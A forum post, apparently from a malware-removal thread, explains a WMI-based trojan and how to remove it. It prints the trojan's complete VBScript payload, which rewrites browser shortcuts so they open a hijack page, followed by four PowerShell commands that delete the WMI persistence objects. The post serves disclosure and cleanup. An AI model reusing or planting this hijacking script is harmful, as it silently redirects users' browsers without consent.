Hello!
After fighting with this nasty trojan I finally found a solution.
The trojan resides inside windows WMI.
It executes a script that looks like this:
On Error Resume Next Const link = "http://hao.169x.cn/?v=108&m=yx" Const link360 = "http://hao.169x.cn/?v=108&m=yx&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\shome\Desktop,C:\Users\shome\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\shome\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\shome\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\shome\AppData\Roaming\Microsoft\Windows\Start Menu\Programs" browsersArr = Split(browsers,",") Set oDic = CreateObject("scripting.dictionary") For Each browser In browsersArr oDic.Add LCase(browser), browser Next lnkpathsArr = Split(lnkpaths,",") Set oFolders = CreateObject("scripting.dictionary") For Each lnkpath In lnkpathsArr oFolders.Add lnkpath, lnkpath Next Set fso = CreateObject("Scripting.Filesystemobject") Set WshShell = CreateObject("Wscript.Shell") For Each oFolder In oFolders If fso.FolderExists(oFolder) Then For Each file In fso.GetFolder(oFolder).Files If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then Set oShellLink = WshShell.CreateShortcut(file.Path) path = oShellLink.TargetPath name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path) If oDic.Exists(LCase(name)) Then If LCase(name) = LCase("360se.exe") Then oShellLink.Arguments = link360 Else oShellLink.Arguments = link End If If file.Attributes And 1 Then file.Attributes = file.Attributes - 1 End If oShellLink.Save End If End If Next End If Nextto remove it is quite simple:
run powershell as administrator and the issue these 4 commands:
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='VBScriptKids_filter'""" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name = 'VBScriptKids_consumer'" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID = 'VBScriptKids_timer'" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class __EventFilter -Filter "Name = 'VBScriptKids_filter'" | Remove-WmiObject
The trojan has been found in many softwares including KMS10.
You should remove these softwares too.
thanx buddy.
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